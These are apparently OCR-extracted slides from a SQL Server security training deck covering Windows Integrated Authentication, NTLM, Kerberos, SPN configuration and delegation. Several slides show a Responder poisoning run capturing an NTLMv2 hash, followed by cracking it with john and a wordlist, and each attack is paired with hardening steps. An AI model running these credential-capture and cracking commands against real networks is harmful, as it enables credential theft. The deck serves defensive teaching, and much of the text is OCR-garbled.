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SQL Server Authentication — Out of Scope

of Connect to Server e

SQL Server

Server type: Database Engine o

Server name: | BOOTCAMP-5GL - |

Authentication: SGL Server Authentication o
Login: |sa > |
Password: ~  TYYYYYYTYTOYO®

B Remember password

l Connect ] Cancel Help Options ==




Windows Integrated Authentication — Our Scope

of Connect to Server 4

SQL Server

Server type: Database Engine o

Server name: |BOOTCAMP-SGL »

Authentication: Windows Authentication o
SEr Name contoso'Admin

Connect Cancel Help Cptions ==




AAD Integrated Authentication — Out of Scope

=® Connect to Server b
Server type: Database Engine W
Server name: |BOOTCAMP-5GL v
Authentication: Azure Active Directory - Integrated W
User name contoso Admin
Connect Cancel Help Options ==




Agenda

= Windows Integrated Authentication Overview

= WIA Under the Hood
- NTLM
- Kerberos (Security Best Practices, Delegation)

= SQL Server ldentity
— Built-In Identities
— Service Accounts
— Group Managed Service Accounts

= Common Misconfigurations and Attacks
- SQL Server MITM
— NTLM Relay
— Dumping LSA Secrets
— Kerberoasting



WIA Overview



Windows Logon

Other user

CONTOSO\Admin

Sign:in to: CONTOSO

How do | sign in to another domain?

Other user




Single Sigh-On (SSO)

|;|E Connect to Server

Server type:
Server name:

Authentication:

SQL Server

Database Engine

| BOOTCAMP-5GL

Windows Authentication

contoso Admin

Connect ] Cancel Help

Cptions ==




Run as Different User

O Type here to search

All apps < Back

Microsott SQL Server Tools 18 =
|_]‘j;] Analysis Services Deployment Wizard 18
| .
u_!';yjl'; Database Engine Tuning Advisor 18

-
LA Microsoft SQL Server Mananement Studin 18

< Pinto Start

il SOL Server Profiler 18
Maore »

a Microsoft Store @ Uninstall

%

Unpin from taskbar

Run as different user

o)

ey Microsoft Teams

T
J Mew

Run as administrator

= &l

&F  Microsch ToiDo Open file location

ﬁ Movies & TV




Run as Different User

== Windows Security

Run as different user

Please enter credentials to use for C\Program Files

(xBE)\Microsoft SQL Server Management Studio
18\CommonT\IDE\Ssms.exe.

john.doe

Domain: contoso

Mare choices

I R Use a different account
Connect a smart card

OK Cancel



Run as Different User

& DevModeRunaAsUserConfig - [Start Menu and Taskbar] — O X
ﬁ File Action View Favontes Window Help - 8 X
e |H = BHE T
| Start Menu and Taskbar Setting State Comment
[ Notifications \iz| Show or hide "Most used” list from Start menu Mot configured Mo
Show "Run as different user" command on 5Start
\iz| Add the Run command to the Start Menu Mot configured MNo
\iz| Show Start on the display the user is using when they presst... Mot cenfigured Mo
\iz| Rermove Logoff on the Start Menu Mot configured MNo
|iz| Pin Apps to Start when installed Mot configured Mo
\iz| Show additional calendar Mot configured MNo
\iz| Rernove Motifications and Action Center Mot configured Mo
\iz| Disable showing balloon notifications as toasts. Mot configured MNo
\iz| Rermove the Security and Maintenance icon Mot configured Mo
|iz| Rermove the Meet Now icon Mot configured MNo
\iz| Remove the networking icon Mot configured MNo
E:vztn.enn::lnau::l;i‘\Stanu::Iaru::I,,Hf )
98 setting(s)




Run as Different User — Network Only

B Administrator: Command Prom| i — O b

C:\>runas /netonly /user:CONTOSO\Admin "%ProgramFiles(x86)%\Microsoft SQL Server Ma
nagement Studio 18\Common7\IDE\ssms.exe"

Enter the password for CONTOSO\Admin:

Attempting to start C:\Program Files (x86)\Microsoft SQL Server Management Studio 1
8\Common7\IDE\ssms.exe as user "CONTOSO\Admin"




Server Authentication Mode

USE [master]
GO

EXEC xp_instance_regwrite N'HKEY_LOCAL_MACHINE', N'Software\Microsoft\MSSQLServer\MSSQLServer', N'LoginMode', REG_DWORD, 1

GO

Select a page

& General

& Memory

& Processors

& Security

& Connections

# Database Settings
& Advanced

& Pemissions

Connection

Server:
BOOTCAMP-5QL

Connection:
contoso \Admin

B Server Properties - BOOTCAMP-50L

'L g View connection properties

Progress

Scripting completed
@ successfully.

IT Scipt ~ @ Hep

Server authentication

(®) Windows Authentication mode
() 5QL Server and Windows Authentication mode

Login auditing
() None

(®) Failed logins only

() Successful logins only

() Both failed and successful logins

Server proxy account
[] Enable server proxy account

Options
] Enable Commen Criteria compliance
[] Enable C2 aud tracing

[] Eross database ownership chaining

Corc




SQL Server Logins

E BOOTCAMP-50QL (50L Server 15.0.2000.5 - contosol\Admin)
Databases
= Security
= Legins
ae ZEMS_PolicyEventProcessingloging®
ae SEMS_PolicyTsglExecutionLogings
LR BUILTIN'Administrators
CONTOSO\BOOTCAMP-WWWS5S
MNTAUTHORITY\SYSTEM
MT SERVICE\MSSCQLSERVER
MT SERVICE\SOLSERVERAGENT
MNT SERVICEVSCLServerReportingServices
MT SERVICE\SCLTELEMETRY
MT SERVICEVSCLWriter
MT SERVICE\Winmgmt
53



SQL Server Logins — Users/Groups

B Login Properties - BUILTIN\Administrators — O X
Select a page EScriptveHelp
F General
# Server Roles
& User Mapping Login name: BUILTINAdminist'ators Search...
# Securables
F Status
[] Map to Credential Add
Server: Mapped Credentials Credential Provider
BOOTCAMP-SGIL
Connection:
contosoAdmin
ﬁ View connection properties
Progress Remove
Ready Defautt database: master ~
Defautt language: English - us_english ~
Cancel




SQL Server Logins — Server Roles

B Login Properties - BUILTINAdministrators — | X
g 4
Selectapage )
F Gen:eral L7 Scipt ~ @ Heb
Server Roles
& ser Mapping Server role is used to grant server-wide security privileges to a user.
# Securables
& Status
Server roles:
[] bulkadmin
[] dbereatar
[] diskadmin
[] processadmin
public
[] securityadmin
[] serveradmin
[ setupadmin
gysadmin
Connection
Server:
BOOTCAMP-SGL
Connection:
cortosotAdmin
ﬁ View connection properties
Progress
Ready

Cancel




Creating New Logins

| Login - New

Selectapage
& General

& Server Roles
& |lser Mapping
& Securables
& Status

Connechon

Server:
BOOTCAMP-SQL

Connection:
contogoAdmin

ﬁ View connection propertie

IT Scipt ~ @) Help

Login name:

(® Windows authentication
(") 5GL Server authentication

Select User or Group

Select this object type:

| User ar Builtin security principal

| Ohject Types. .

From this location:
|E|OOTCAMP-SQL

Locations...

Enter the object name to select (examples):
| Check Names

Locations

Select the location you want to search.

Location:

ll;J BOOTCAMP-SGL
EI: Entire Directaory
B.ff] contoso.com

27 Buitin
12| Computers

2| Domain Controllers
12| ForeignSecurtyPrincipals
3] Keys




Database Users

E BOOTCAMP-SCL (501 Server 13.0.2000.5 - contoso’\Admin)

=

[E3]

0HBH

Databaszes

Systemn Databases
Database Snapshots

@ ReportServer
W ReportServerTempDB
g WideWorldimporters

B BB

B ®H

OEBEEB

Database Diagrams
Tables
Views
External Resources
Synonyrms
Programmability
Cluery Store
Service Broker
Storage
Security

= Users

&g CONTOSO\BOOTCAMP-WWWS

T
ﬁ guest
ﬁ IMFORMATION_SCHEMA

&% sys
= Roles
= Databaze Roles
i db_accessadmin
w8 db_backupoperator
i db_datareader
a2 db_datawriter




Mapping Database Users to Roles

B Login Properties - CONTOSOVAdmin - O *
Selecta page UScriptveHelp
F General
& Server Roles
& |ser Mapping IUsers mapped to this login:
& Securables Map Database |User Default Schema
K Status ] master
0  model
1 msdb
Report Server dbo dbo
ReportServerTempDB dbo dbo
O tempdb
WideWordimporters ; CONTOSO"Admin . dbo
BOOTCAMP-SQL Database role membership for: WideWordImporters
Connection: [] db_securityadmin ~
contosa Admin [] Extemal Sales
¥ \ew connection properties | |[] Far West Sales
[[] Great Lakes Sales
[] Mideast Sales
[] Mew England Sales
[] Plains Sales
Progress public
Rocky Mountain Sales
Ready [] Southeast Sales
[] Southwest Sales v
==




Current Connection

Properties

¥¥ Connection Properties

Curmrent connection properties:

s2/%4 | B

W

W

v Authentication

Authentication Method
User Mame
Connection
Database

SPID

Metwork Protocol
Metwork Packet Size
Connection Timeout
Execution Timeout
Encrypted

Product

Product Name

Windows Authertication
contosoAdmin

master
66
<default
4096

30

0

Mo

Microsoft SGL Server Enterprise Edition (64-bit) v

User Name
The name of the user or login used to connect.

Close

Help




View master.sys.login_token - Local Logon

SELECT * FROM sys.login_token

Eﬁ Messages

principal_id  sid

214% -
R Results
1 268
2 2
3 3
4 259
5 0
6 0
7 0
] 259
9 0
m 0
11 0
12 0
13 0
14 0
15 0
% 0
17 0
18 0

(=01050000000000051 5000000C368214024063830A36452E ..
=02

=03

(=01 020000000000052000000020020000
(=010500000000000515000000C9B8214024D63B20A36452E .
(=0101000000000001 00000000

(=01 020000000000052000000021020000

(=01 020000000000052000000020020000
(=010100000000000504 000000

(=010100000000000201 000000

(=010100000000000508 000000

0 01010000000000050F 000000
(=010100000000000200000000
(=010500000000000515000000C368214024063830A36452E ...
(=010500000000000515000000C9B214024063B20AI6452E .
(=010500000000000515000000C9B214024063B20A36452E .
(=010100000000001 201000000

0= 010500000000000515000000C36214024D63680A436452E. ..

name

: CONTOS0 Admin

public

sysadmin

BUILTIN*Administrators

contogo’Domain Lsers

“Everyone

BUILTIN%Users

BUILTIN%Administrators

NT AUTHORITINTERACTIVE
WCOMSOLE LOGON

NT AUTHORITY \Authenticated Users
NT AUTHORIT Y This Organization
WLOCAL

contosoDomain Admins
contosoEnterprise Adming
contosotSchema Admins
“Authentication authority asserted identity
contosotDenied RODC Password Replication Group

type

. WINDOWS LOGIN

SERVER ROLE

SERVER ROLE

WINDOWS GROUP
WINDOWS GROUP
WINDOWS GROUP
WINDOWS GROUP
WINDOWS GROUP
WINDOWS GROUP
WINDOWS GROUP
WINDOWS GROUP
WINDOWS GROUP
WINDOWS GROUP
WINDOWS GROUP
WINDOWS GROUP
WINDOWS GROUP
WINDOWS GROUP
WINDOWS GROUP

50L0uery3.sql - B..ontosch\Admin (B3))* + X

usage
GRANT OR DENY
GRANT OR DENY
GRAMT OR DENY
GRAMT OR DENY
GRAMT OR DENY
GRAMT OR DENY
GRANT OR DENY
GRANT OR DENY
GRAMT OR DENY
GRAMT OR DENY
GRAMT OR DENY
GRANT OR DENY
GRANT OR DENY
GRANT OR DENY
GRAMT OR DENY
GRAMT OR DENY
GRAMT OR DENY
GRANT OR DENY



View master.sys.login_token — Network Logon

50LCueryl.5ql - B...ontosc\Admin (68))* + >

177 %

SELECT * FROM sys.login_token

-

FH Resuts 2 Messages

[T =T == T I = S L o ]

N TR )
N e e P — 3

principal_id

e TR e R e [ e [ e Y e N e [ e

sid

(= 010500000000000515000000C9B214024D63B30A36452E

02
=03
(= 01020000000000052000000020020000

(= 010500000000000515000000C3B214024D63830A36452E

(= 0101000000000001 00000000
0= 0102000000000005:2000000021020000
x01020000000000052000000020020000
(x010100000000000502000000
= 01010000000000050B000000
(= 01010000000000050F000000

(= 01050000000000051 5000000C3E214024D63830A36452E .
(= 010500000000000515000000C9B214024D63B30A36452E
(< 01050000000000051 5000000C56214024063B80A36452E. .

(= 010100000000001201000000

(= 010500000000000515000000C9E214024D63B80A36452E

name
CONTOSOAdmin
public

gysadmin
BUILTIMNAdministrators
corntosoDomain Users
“Everyone
BUILTINsers
BUILTIMNAdministrators

© NT AUTHORITY\NETWORK

NT AUTHORITAuthenticated Users

NT AUTHORITY"This Organization
corntoso\Domain Admins

contoso\Enterprise Admins

contosotSchema Admins

“Authentication authority asserted identity
contosotDenied RODC Password Replication Group

type

WINDOWS LOGIM
SERVER ROLE
SERVER ROLE
WINDOWS GROUP
WINDOWS GROUP
WINDOWS GROUP
WINDOWS GROUP
WINDOWS GROUP

. WINDOWS GROUP

WINDOWS GROUP
WINDOWS GROUP
WINDOWS GROUP
WINDOWS GROUP
WINDOWS GROUP
WINDOWS GROUP
WINDOWS GROUP

usage
GRANT OR DENY
GRANT OR DENY
GRANT OR DENY
GRANT OR DENY
GRANT OR DENY
GRANT OR DENY
GRANT OR DENY
GRANT OR DENY
GRANT OR DENY
GRANT OR DENY
GRANT OR DENY
GRANT OR DENY
GRANT OR DENY
GRANT OR DENY
GRANT OR DENY
GRANT OR DENY



View master.sys.user_token

50LCuery1.5gl - B...ontosc\Admin (68))* + X

SELECT * FROM sys.user_ token

1/7% -
EH Results E]'i Messages
principal_id  sid name  type usage

...................................

1T 1 - 01 dbo SQLUSER  GRANT OR DENY

...................................



WIA Under the Hood



Windows Integrated Authentication

= WIA = I[WA = Negotiate = SPNEGO = NEGO

= Authentication Packages
— Kerberos
- MSV1_0
* NTLMv2
* NTLM
M



The Bigger Picture

Credential/Login layer

User Mode a Winloegon Kernel Mode
Application G r;l:.l:drll}'ladI”UI WinLogon,exe Application
Secured2.dil : Secur32.dil Ksecdd.dll
] |
LPC LsalogonUser(} LPC
| Local Security Authority J
v
I
RPC l— LSA Server Service
Lsasrv.dll
Megotiate Spnego.dil = ]
I { { v v v
CredSsP Digest TLS/SSL UL, s NTLM Kerberos
CredSSP.dll wdigest.dil Schannel.dll xLensions Msv1_0.dll Kerberos.dll SSP Layer
Negoexts.dil
i [
PKU2U
PluZud.dil r r
Metlogon
Netlegan.dll
Security
RPC I_. Accounts
Manager
(SAM)
Samsrv.dll
Hon-domain
controllers
Registry
/
RPC To ADDS
On DC
RPC to carve If not local logon
e Windows Sockets RPC to LSA on server
l to KDC *
v
4—— Pass-thru
RPC »
" to server @
Member Server

Web Server

Image Source: https://docs.microsoft.com/en-us/windows-server/security/windows-authentication/credentials-processes-in-windows-authentication



NTLM Authentication — Challenge-Response

Client

Image Source:

Server

i-_-———-_, E
T NEGD“'“‘TE-“ESSAGE-_____._E

a——NTLM CH

ALLENGE_MESEAGE"‘"_"E

. AUTHENTICATE Message. -

DC

é-n-ﬂﬁmnsuu_munmﬂﬂ

_GAM_INFOA—

https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-apds/5bfd942e-7da5-494d-a640-f269a0e3cc5hd



NTLM Weaknesses

* Legacy Password Hash Function (MD4)
= Deprecated Encryption (HMAC-MDS5, DES)
= Lacks Mutual Authentication




NTLM MITM - Traffic Capture

CI admin@BOOTCAMP-PC: /mntfc X . s - O X

/mnt/c/Users/Admin
sudo responder -I eth®

NBT-NS, LLMNR & MDNS Responder 3.0.7.0

Author: Laurent Gaffie (laurent.gaffie@gmail.com)
To kill this script hit CTRL-C

Poisoners:
LLMNR
NBT-NS
DNS/MDNS
DHCP

Servers:

HTTP server
HTTPS server
WPAD proxy

Auth proxy

SMB server
Kerberos server
SQL server

FTP server




NTLM MITM - Traffic Capture

NTLMv2 Client : 172.22.0.1

NTLMv2 Username : contoso\Admin

NTLMv2 Hash : Admin: :contoso:265f3903183967ec:A70BAB6OECAB3C5148A99DLU549326923:01010000000000
OOC1E2D9FO55D1D701BFF5E8AG6031A9A300000000020008004DOOSLHOOL4100L4L4OCO1001EAOS700L90O0LEEO2DOO37003L4004700LBO
OLUBOOL30032005A00U460035005500040014004DEESLEOL1OOLL4EE2ECOLCOOLUFOOLU3004100U4COOO3003LOOST7OO0LU90OLEONO2DOO3T700

34004700U4BOOLBOOL30032005A00U4600350055002E00U4DAOSLAOL100U4L4OO2EOOLCOOUFOOL300U4100U4COOO5001400UDOOSLOOL100L
LOO2EOOUCOOUFOOL30041004COO0800300030000000000000000000000000300000C15C7EE7DDOFFE1IDSFSF8UF6E2257F816BC1B6
EUD30B385FFOFAS0A93FASEOO00O0AO010000000000000000000000000000000000009003ECOUDEOS530053005100U4COO53007600630
02F0063006FOO6EOOT7UOO6FO073006F002DOO730071006COO2EOO6CHO6FO0630061006COO3A003100340033003300000000000000
0000




NTLM Traffic Cracking

/mnt/c/Users/Admin

sudo john ——format=netntlmv2 --wordlist=/usr/share/wordlists/rockyou.txt /usr/share/responder/logs/MSSQL-NTLMv2-172.22.0.1.txt
Created directory: /root/.john
Using default input encoding: UTF-8
Loaded 3 password hashes with 3 different salts (netntlmv2, NTLMv2 C/R [MD4 HMAC-MD5 32/6u4])
Will run 2 OpenMP threads

Press 'q' or Ctrl-C to abort, almost any other key for status
Pa$$word C )]
Pa$$word C )]
Pa$$word C )]

3g 0:00:00:00 DONE (2021-11-64 10:07) 4.d41lg/s 117458p/s 352376c/s 352376C/s jasonf..Bulldog




DEMO: SQL Server MITM with Responder



Solution: Enforce Encryption on Client

of Connect to Server >

SQL Server

Login  Connection Properties  Always Encrypted  Additional Connection Parameters
Type or select the name of the database for the connection.

Connect to database: cdefaults i
Metwork
Metwork protocal; cdefault> e
Metwork packet size: 4096 +| bytes
Connection
Connection time-out: kT + | seconds
Execution time-out: [i] +| seconds

B Encrypt connection

[ Trust gerver certfficate
[ Use custom color; I:I

Beset All

Connect Help Options <<

Connection String: Encrypt=True;TrustServerCertificate=True



Server-Side Enforcement Insufficient

Protocols for MSSOLSERVER Properties ? >
Flags  Certificate  Advanced
E General
Force Encryption Yes ;'
Hide Instance Mo
Force Encryption
Turn on or off encryption for selected server instance
QK I | Cancel | | Apply | | Help




Deploy a Proper Certificate

Protocols for MSSQOLSERVER Properties ? >

Flags Certificate  Advanced

View. .. Import Clear

Expiration Date 101872022
Friendly Mame

lssued By BOOTCAMP-50L
Issued To BOOTCAMP-50L

Expiration Date

Ik, Cancel Apply Help




NTLM Relay Attack

// \

4 @

‘\(&/e// /n ,’é‘

/<°95 e/ =\
\\/ \/,- \.// - -‘%

o 6"’ & \Z. \

(\,\/ // o/ \™ \
T& S Attacked Target B\
/o\ QV"/ '\lo \
{1) NTLM Negotiate S S \Z

T / // \b\ '

b (4) NTLM Challenge g ‘/'
h 7 4
(S} NTLM Authenticate /
Client Machine Server DC

Image Source: https://www.helpnetsecurity.com/2019/06/11/microsoft-ntim-vulnerabilities/



Extended Protection for Authentication

Flags Certificate Advanced

Protoceols for MS5CLSERVER Properties

H General
Accepted NTLM SPMs

off e
Off
Allowed
Required
Extended Protection
K Cancel Apply Help




Kerberos Authentication

(1) KRB_AS REQ -
- (2) KRB_AS_REP ~
(3) KRB_TGS_REQ L
% &
- (4) KRB_TGS_REP

Client

A

(6) KRB_AP REP

1
1
I
|
{5) KRB_AP_REQ 1
|
l

Server

Image Source: https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-kile/b4af186e-b2ff-43f9-b18e-eedb366abfl3



Kerberos Ticket Cache in Windows

E¥ Administrator: Command Prom| t ~ - O X

C:\>klist

Current LogonId is €:0x23a6a

Cached Tickets: (4)

#0> Client: Admin @ CON
Server: Krbtgt/CONTOSO.COM @ CONTOSO.COM
KerbTicket Encryption Type: AES-256-CTS-HMAC-SHA1-96
Ticket Flags 6xUBel@es® —> forwardable renewable initial pre_authent name_canonicalize
Start Time: 11/4/2821 18:16:29 (local)
End Time: 11/4/20821 20:16:29 (local)
Renew Time: 11/11/2821 18:16:29 (local)
Session Key Type: AES-256-CTS-HMAC-SHA1-96
Cache Flags: 6x1 -> PRIMARY
Hdc Called: BOOTCAMP-DC.contoso.com

Client: Admin @ CON 0.CoM

Server: hostiBDDTCAMP—SQL.contoso.com @ CONTOSO.COM

KerbTicket Encryption Type: AES-256-CTS-HMAC-SHA1-96

Ticket Flags 6xu40aleee® -> forwardable renewable pre_authent name_canonicalize
Start Time: 11/4/2821 18:16:33 (local)

End Time: 11/u/2821 20:16:29 (local)

Renew Time: 11/11/2021 10:16:29 (local)

Session Key Type: AES-256—CTS-HMAC-SHA1-96

Cache Flags: @

Hdc Called: BOOTCAMP-DC.contoso.com

Client: Admin @ CONTOSO.COM

Server: RPCSS/BOOTCAMP-SQL.contoso.com @ CONTOSO.COM

HerbTicket Encryption Type: AES-256-CTS-HMAC-SHA1-96

Ticket Flags ©x48al@e88 -> forwardable renewable pre_authent name_canonicalize
Start Time: 11/4/2021 10:16:33 (local)

End Time: 11/4/2021 20:16:29 (local)

Renew Time: 11/11/2021 18:16:29 (local)

Session Key Type: AES-256—CTS-HMAC-SHA1-96

Cache Flags: ©

KHdc Called: BOOTCAMP-DC.contoso.com

Client: Admin @ CONTOSO.COM

Server: MSSQLSVCKBDDTCAMP*SQL.contoso‘com:lu33 @ CONTOSO.COM

KerbTicket Encryption Type: AES-256-CTS-HMAC-SHA1-96

Ticket Flags ©xuU0aleeee —> forwardable renewable pre_authent name_canonicalize
Start Time: 11/4/2821 18:16:31 (local)

End Time: 11/4/2021 20:16:29 (local)

Renew Time: 11/11/2021 10:16:29 (local)

Session Key Type: AES-256—CTS-HMAC-SHA1-96

Cache Flags: @

Hdc Called: BOOTCAMP-DC.contoso.com




DEMO: Kerberos Ticket Cache



File Action View Help

e | nE 4B XEd HE 3 aETaR

Enabling Kerberos for SQL Server in AD

: Active Directery Users and Computers

j Active Directory Users and Computers
5 || Saved Queries

~ (3 contosc.com

Builtin

Computers

wx!

Domain Controllers
FereignSecurityPrincipals
Keys

LostAndFound

Managed Service Accounts
Program Data

System

Users

NTDS Quotas

| TPM Devices

o O

E

MNarme Type Description
& BOOTCAMP-PC Computer
i pooTCAMP-SQL Computer
& BOOTCAMP-WWW Computer
BOOTCAMP-50L Properties ? X
General COperating System Member OF Delegation
Password Replication  Location  Managed By Object  Securty  Attrbute Editor
Attributes:
Attribute Value
local PolicyFags 1]
logonCount 46
msD5-SupportedEncr... x1C = ( RC4_HMAC_MD5 | AES128_CTS_
objectCategory CN=Computer CN=Schema CN=Configuration
objectClass top; person; arganizationalPerson; user; com|
operating System Windows Server 2022 Standard
operatingSystemVersi_.  10.0 (20348)
primaryGroup|D 515 = (GROUP_RID_COMPUTERS )
pwdlastSet 101872021 2:50:06 PM Central European 5 |
sAMAccountMame BOOTCAMP-SGLS
sAMAccount Type 805306369 = { MACHINE_ACCOUNT )
servicePrincipalMame  MSSQLSve/BOOTCAMP-5QL contoso.com
userAccountControl 01000 = { WORKSTATION_TRUST_ACCC
Edit Fitter
QK Cancel Apply Help

Multi-valued String Editor

Atribute: service Principal Mame
Walue to add:
I
Values:
HOST/BOOTCAMP-SGL

HOST/BOOTCAMP-5QL contoso .com
MS5QLSve/BOOTCAMP-5QL contoso .com
MS50QLSve/BOOTCAMP-5QL contoso .com: 1433
Restricted Kb Host /BOOTCAMP-50L
RestrictedKrbHost /BOO TCAMP-5QL contoso .com
TERMSRV/BOOTCAMP-5GL
TERMSRV/BOOTCAMP-5CGL contoso com
WSMAN/BOOTCAMP-5GL
WSMAN/BOOTCAMP-5GL contoso.com

Add

Remaove

Cancel




Enabling Kerberos for SQL Server in AD

SOL Server (MSSOLSERVER) Properties ? *
Always On Availability Groups Startup Parameters Advanced
Log On Service FILESTREAM
Log on as:

iy
INetwork Service - I
{” This account:
Account Mame: I Erawse |
Password: I FETTTTTTTTTTTTTT
Qﬂnﬁrm p-asswﬂrd: I EEEEEEEEEELEEELE
Service status: Running

Skark | Stop | Pause | Restart |
Cancel Apply Help




DEMO: Configuring SPNs for SQL Server



IP Address NTLM Fallback (99% Cases)

=f Connect to Server >,

SQL Server

Senver type: Database Engine o

Server name: 10.2.1.137 "

Authentication: Windows Authentication W
ser name contosoAdmin

~Tanl=1§| DEr |

Cancel Help Options =3




NetBIOS Name NTLM Fallback (Sometimes)

|;|E Connect to Server

Server type:
Server name:

Authentication:

e
= T =

contoso“Admin

i
SQL Server
Database Engine o
|BOOTCAMP-5QL] v
Windows Authentication o

Connect Cancel Help

Options =




Restricting NTLM Traffic

=l Local Group Policy Editor - O *

File  Action View Help
e | nFE XE 2| HE

=] Local Computer Policy Palicy Security Setting ~
w il Computer Configuration

» [] Software Settings
w || Windows Settings

12 Metwork security: Minimum session security for NTLM 55P based (including secure RPC) clients  Require 128-bit encryption

|| Metwork security: Minimum session security for MTLM 55P based (including secure RPC) servers  Require 128-bit encryption

» 7] Name Resolution Policy 12 Metwork security: Restrict NTLM: Add remote server exceptions for NTLM authentication Mot Defined
| Scripts (Startup/Shutdown) || Metwork security: Restrick MTLM: Add server exceptions in this domain Mot Defined
o i Security Settings |2 Metwork security: Restrict MTLM: Audit Incoming NTLM Traffic Mot Defined
> [A Account Policies || Metwork security: Restrick MTLM: Audit NTLM authentication in this domain Mot Defined
v [4 Local Palicies Metwork security: Restrict NTLM: Inceming MTLM traffic Mot Defined
> [ Audit Policy || Metwork security: Restrict MTLIM: MNTLM authentication in this demain Mot Defined
> [& User Rights Assignment 12y Metwork security: Restrict NTLM: Qutgoing NTLM traffic to remote servers Mot Defined
» g Security Options |2z Recovery console: Allow automatic administrative logon Disabled
v || Windows Defender Firewall with Ad|| | Recovery console: Allow floppy copy and access to all drives and all folders Disabled
[ ] Metwork List Manager Policies || Shutdown: Allow system to be shut down without having to log on Disabled
» || Public Key Policies 12y Shutdown: Clear virtual memery pagefile Disabled
» [ Software Restriction Policies 1| System cryptography: Force strong key protection for user keys stored on the computer Mot Defined
> [1 Application Control Policies |2y System cryptography: Use FIPS compliant algerithms for encryption, hashing, and signing Disabled
» g IP Security Policies on Local Compt 17y System objects: Require case insensitivity for non-Windows subsysterns Enabled

» | Advanced Audit Policy Configuratic
> ulli Policy-based GoS
» [ Administrative Templates
» 4, User Configuration

|2 System objects: Strengthen default permissions of internal system objects (e.g. Symbelic Links)  Enabled

|| System settings: Optional subsysterns

Iy System settings: Use Certificate Rules on Windows Executables for Software Restriction Policies  Disabled

l2g| User Account Control: Admin Approval Mode for the Built-in Administrator account Disabled W
< > € >




Web App Authentication

i} B SQL Server Authentication Demo X

<

A Mot secure

G

SELECT [SupplierName|, [WebsiteURL

_|_

| bootcamp-www/

SupplierName

WebsiteURL

A Datum Corporation

http://www.adatum.com

Contoso, Ltd.

http://www.contoso.com

Consolidated Messenger

http://www.consolidatedmessenger.com

Fabrikam, Inc.

http://www.fabrikam.com

Graphic Design Institute

http://www.graphicdesigninstitute.com

Humongous Insurance

http://www.humongousinsurance.com

Litware, Inc.

http://www.litwareinc.com

Lucerne Publishing

http://www.lucernepublishing.com

Nod Publishers http://www.nodpublishers.com
Northwind Electric Cars |http://www.northwindelectriccars.com
Trey Research http://www.treyresearch.net

The Phone Company  |http://www.thephone-company.com

Woodgrove Bank

http://www.woodgrovebank.com

FROM [Website|.[Suppliers]




Using WIA in Connection Strings

web_config

version="1.8" encoding="utf-8"

"

name="WideWorldImporters" connectionString="Server=bootcamp-sql.contoso.com;Database=WideWorldImporters;Integrated Security=SSPI"




Application Identity

Eile  View Help

'qu Internet Information Services (115) Manager

&= = 3  BOOTCAMP-WWW » Application Pools

@ h @-

Connections

Q- &8

- '?__EJ Start Page
v -85 BOOTCAMP-WWW (contoso\Admi
*;* Application Pools
V- (@ Sites
5 &P Default Web Site

ﬂ;! Application Pools

This page lets you view and manage the list of application pools on the server. Application pools are associated with worker
processes, contain one or more applications, and provide isclation among different applications.

Filter: ~ W Go - % Show All | Group by: Mo Grouping -

Marne Status MET CLR....  Managed P... |dentity Applications
Q MET vd.5 Started w40 Integrated ApplicationPoclldentity 0
,,;} JMET w5 Classic  Started wd 0 Classic ApplicationPoclldentity 1

J DefaultfppPocl  Started w40 Integrated ApplicationPoolldentity 0

Features View Content View

Ready

Actions

on

X

]

X

Add Application Pool...

Set Application Pool Defaults...

Application Pool Tasks

Ctart

Stop
Recycle...
Edit Application Pool

Basic Settings...
Recycling...
Advanced Settings...

Rename

Remove

View Applications

@' Help

q._i.'.:i




Granting Application Access

g BOOTCAMP-SCL (SOL Server 15.0.2000.5 - CONTOSOVAdmin)
=] Databases

Systermn Databases
Database Snapshots
W ReportServer
W ReportServerTempDB
= g WideWorldimporters
Database Diagrams
Tables
Views
External Resources
Synonyrms
Programmability
Query Store
Service Broker
Storage
= Security
=] Users

&4 CONTOSOVAdmin
[} CONTOSONBOOTCAMP-WWWS




Kerberos Delegation



WIA Without Delegation

' Logon Session Identity: User cxxum Identity: Web Server
dh ==

=
-—

User
PC Web Server SQL Server



WIA Without Delegation

<~ O A Notsecure | bootcamp-www/

SQL Server Authentication Demo

ASP.NET Identity

Property Value

User Authenticated| True

User Identity contoso'Admin

Process Identity  |IIS APPPOOL'NET 4.5 Classic

SELECT [SupplierName], [WebsiteURL] FROM [Website].[Suppliers]

SupplierName WebsiteURL
A Datom Corporation  |http://'www.adatum.com
Contoso, Ltd. http:/www.contoso.com

Consolidated Messenger|http://www consolidatedmessenger com
Fabrikam. Inc. http:/www fabrikam.com
Graphic Design Institute |http://'www. graphicdesigninstitute. com

Humongous Insurance  |http//www humongousinsurance com

Litware, Inc. http:/www litwareinc.com
Lucerne Publishing http:/www lucernepublishing com
Nod Publishers http:/"www nodpublishers. com

Northwind Electric Cars |http://www.northwindelectriccars. com

Trev Research http://www treyresearch net

The Phone Company  |http://'www thephone-company.com
Woodgrove Bank http://www woodgrovebank. com




Configuration a Web App for WIA

enabled="false"

enabled="true"




Requirement: Local Intranet Zone

€ Internet Properties ? x

General Security Privacy Content Connections  Programs  Advanced

Select a zone to view or change security settings.

@ W / O

Internet Local intranet  Trusted sites  Restricted
sites

Local intranet

This zone is for all websites that are
found on yaur intranet.

; Sites

Security level for this zone

Custom

Custom settings.
-Ta change the settings, didk Custom level,
-Ta use the recommended settings, did: Default level.

Custom level. .. Default level

Reset all zones to default level

Ok Cancel Apply




WIA With Delegation/Impersonation

‘ Logon Session Identity: User cxxum Identity: User
dh o=

User
PC Web Server SQL Server



WIA With Delegation/Impersonation

im} B SQL Server Authentication Demo X | -+

& & Notsecure | bootcamp-www/ a T8 = -3
SELECT * FROM sys.login token

principal_idname type usage

268 CONTOSO'\Admin WINDOWS LOGIN |GRANT OR DENY
2 public SERVER ROLE GRANT OR DENY
3 sysadmin SERVER ROLE GRANT OR DENY
259 BUILTIN'Administrators WINDOWS GROUP|GRANT OR DENY
0 contoso\Domain Users WINDOWS GROUP|GRANT OR DENY
0 \Everyone WINDOWS GROUP|GRANT OR DENY
0 BUILTIN\Users WINDOWS GROUP|GRANT OR DENY
259 BUILTIN'Administrators WINDOWS GROUP|GRANT OR DENY
0 NT AUTHORITY'NETWORK WINDOWS GROUP|GRANT OR DENY
0 NT AUTHORITY \Authenticated Users WINDOWS GROUP|GRANT OR DENY
0 NT AUTHORITY\This Organization WINDOWS GROUP|GRANT OR DENY
0 contoso'\Domain Admins WINDOWS GROUP|GRANT OR DENY
0 contoso\Enterprise Admins WINDOWS GROUP|GRANT OR DENY
